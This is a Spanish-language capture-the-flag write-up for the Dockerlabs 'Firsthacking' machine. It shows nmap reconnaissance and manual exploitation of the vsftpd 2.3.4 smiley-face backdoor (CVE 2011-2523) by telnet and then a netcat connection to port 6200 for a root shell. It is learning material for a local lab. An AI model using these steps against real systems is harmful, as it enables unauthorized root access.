stamin4
  • whoami
  • HTB Academy
    • Introduction to Academy
    • Learning Process
    • Vulnerability Assessment
    • Web Requests
    • Introduction to Networking
    • Linux Fundamentals
    • Brief Intro to Hardware Attacks
    • Setting Up
    • Using the Metasploit Framework
    • Security Incident Reporting
    • Introduction to Web Applications
    • JavaScript Deobfuscation
    • Attacking Web Applications with Ffuf
    • Windows Fundamentals
    • File Inclusion
  • HTB Machines
    • Windows
      • 馃煝Easy
      • 馃煚Medium
      • 馃敶Difficult
      • 馃煟Insane
    • Linux
      • 馃煝Easy
        • Cap
      • 馃煚Medium
      • 馃敶Difficult
      • 馃煟Insane
  • OverTheWire
    • Bandit
      • Nivel 0
      • Nivel 1
      • Nivel 2
      • Nivel 3
      • Nivel 4
      • Nivel 5
      • Nivel 6
      • Nivel 7
      • Nivel 8
      • Nivel 9
      • Nivel 10
  • Base de datos
    • SQL
      • SELECT queries 101
      • Queries with constraints (Pt. 1)
      • Queries with constraints (Pt. 2)
      • Filtering and sorting Query results
      • Simple SELECT Queries
      • Multi-table queries with JOINs
      • OUTER JOINs
      • A short note on NULLs
      • Queries with expressions
      • Queries with aggregates (Pt. 1)
      • Queries with aggregates (Pt. 2)
      • Order of execution of a Query
      • Inserting rows
      • Updating rows
      • Deleting rows
      • Creating tables
      • Altering tables
      • Dropping tables
  • PortSwigger
    • Path Traversal
  • Dockerlabs
    • Trust
    • Firsthacking
    • Upload
Powered by GitBook
On this page
  • Despliegue del Lab
  • Reconocimiento
  • Intrusi贸n
  1. Dockerlabs

Firsthacking

PreviousTrustNextUpload

Last updated 12 months ago

Despliegue del Lab

Primero descargamos la m谩quina vulnerable desde la p谩gina de .

Luego descomprimimos el archivo .zip que acabamos de descargar.

unzip fisthacking.zip

Para correr la m谩quina, ejecutamos el siguiente comando:

sudo bash auto_deploy.sh firsthacking.tar

Reconocimiento

Lanzamos un ping a la IP para confirmar que est茅 activa. En mi caso me vino bien para darme cuenta de que no ten铆a conectividad con la m谩quina; aparec铆a el error de "Host unreachable", por lo que acud铆 a las recomendaciones de la propia web y pude solucionar el inconveniente ejecutando el comando sudo systemctl restart docker. Luego volv铆 a efectuar un ping y la m谩quina me respondi贸:

$ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.346 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.346/0.346/0.346/0.000 ms

Como el valor del TTL (Time To Live) es de 64, podemos deducir que se trata de una m谩quina Linux.

Lo que sigue es lanzar un escaneo de puertos para ver cu谩les est谩n abiertos, as铆 como los servicios que corren por esos puertos. Dichos servicios pueden ser vulnerables, lo que nos permitir铆a aprovecharnos como atacantes para ganar acceso al sistema.

$sudo nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 20:34 -03
Initiating ARP Ping Scan at 20:34
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 20:34, 0.15s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 20:34
Scanning 172.17.0.2 [65535 ports]
Discovered open port 21/tcp on 172.17.0.2
Completed SYN Stealth Scan at 20:34, 2.04s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000011s latency).
Scanned at 2024-05-21 20:34:08 -03 for 2s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.43 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

El 煤nico puerto abierto es el 21; lanzamos un conjunto de scripts b谩sicos de reconocimiento para recolectar m谩s informaci贸n sobre el servicio.

$nmap -p21 -sCV 172.17.0.2 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 20:34 -03
Nmap scan report for 172.17.0.2
Host is up (0.0011s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.09 seconds

Intrusi贸n

Ahora conocemos la versi贸n del servicio FTP: vsftpd 2.3.4.

A continuaci贸n vamos a proceder con la explotaci贸n manual.

Primero nos conectamos por telnet al puerto 21 de la m谩quina v铆ctima.

telnet 172.17.0.2 21

Podemos introducir cualquier usuario y cualquier contrase帽a, eso da igual. La clave es que el nombre de usuario contenga una sonrisita :)

Luego escapamos con Ctrl+] y finalmente cerramos la conexi贸n con quit.

Nos conectamos con nc a la m谩quina por el puerto 6200. La raz贸n es que, debido a un backdoor que se introdujo en esta versi贸n, con la carita feliz conseguimos crear una shell por dicho puerto que est谩 esperando recibir nuestra conexi贸n.

nc 172.17.0.2 6200

Al conectarnos, ya podemos ejecutar comandos como root.

Como alternativa, tambi茅n se puede recurrir a Metasploit para su explotaci贸n.

Si buscamos exploits asociados a dicha versi贸n, encontraremos el . Se trata de un backdoor que nos permitir谩 llegar a conseguir una ejecuci贸n remota de comandos.

CVE 2011-2523
Dockerlabs